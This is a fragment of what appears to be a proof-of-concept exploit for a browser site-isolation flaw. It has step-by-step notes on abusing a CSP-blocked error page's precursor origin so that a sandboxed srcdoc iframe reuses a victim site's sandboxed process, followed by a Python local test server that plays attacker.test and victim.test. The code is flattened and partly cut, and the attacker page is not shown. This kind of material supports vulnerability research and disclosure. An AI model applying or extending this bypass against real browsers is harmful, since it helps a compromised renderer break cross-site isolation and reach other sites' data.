Step 1: open victim.test in same BrowsingInstance.
Step 2: create subframe navigated to victim.test — blocked by our own CSP frame-src 'none', producing an error page whose opaque origin has precursor = victim.test, committed in this renderer process.
Step 3: the (simulated-compromised) renderer injects a <iframe sandbox srcdoc> child under that error page. The browser's GetCompatibleSandboxedSiteInstance derives the sandboxed SiteInfo from the error page's precursor (victim.test) and reuses the legitimate {victim.test, is_sandboxed} SiteInstance.
""" VICTIM_HTML = b"""\Legitimate sandboxed srcdoc iframe (creates the {victim.test, is_sandboxed=true} SiteInstance that the attacker will try to reuse):
""" class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): host = self.headers.get('Host', '') if host.startswith('attacker.test'): self.send_response(200) self.send_header('Content-Type', 'text/html') # CSP that blocks ALL subframe navigations -> ERR_BLOCKED_BY_CSP. self.send_header('Content-Security-Policy', "frame-src 'none'") self.end_headers() self.wfile.write(ATTACKER_HTML) elif host.startswith('victim.test'): self.send_response(200) self.send_header('Content-Type', 'text/html') self.end_headers() self.wfile.write(VICTIM_HTML) else: self.send_response(404) self.end_headers() def log_message(self, fmt, *args): pass if __name__ == '__main__': socketserver.TCPServer.allow_reuse_address = True with socketserver.TCPServer(('127.0.0.1', 8000), Handler) as httpd: print('Serving attacker.test / victim.test on http://127.0.0.1:8000') httpd.serve_forever()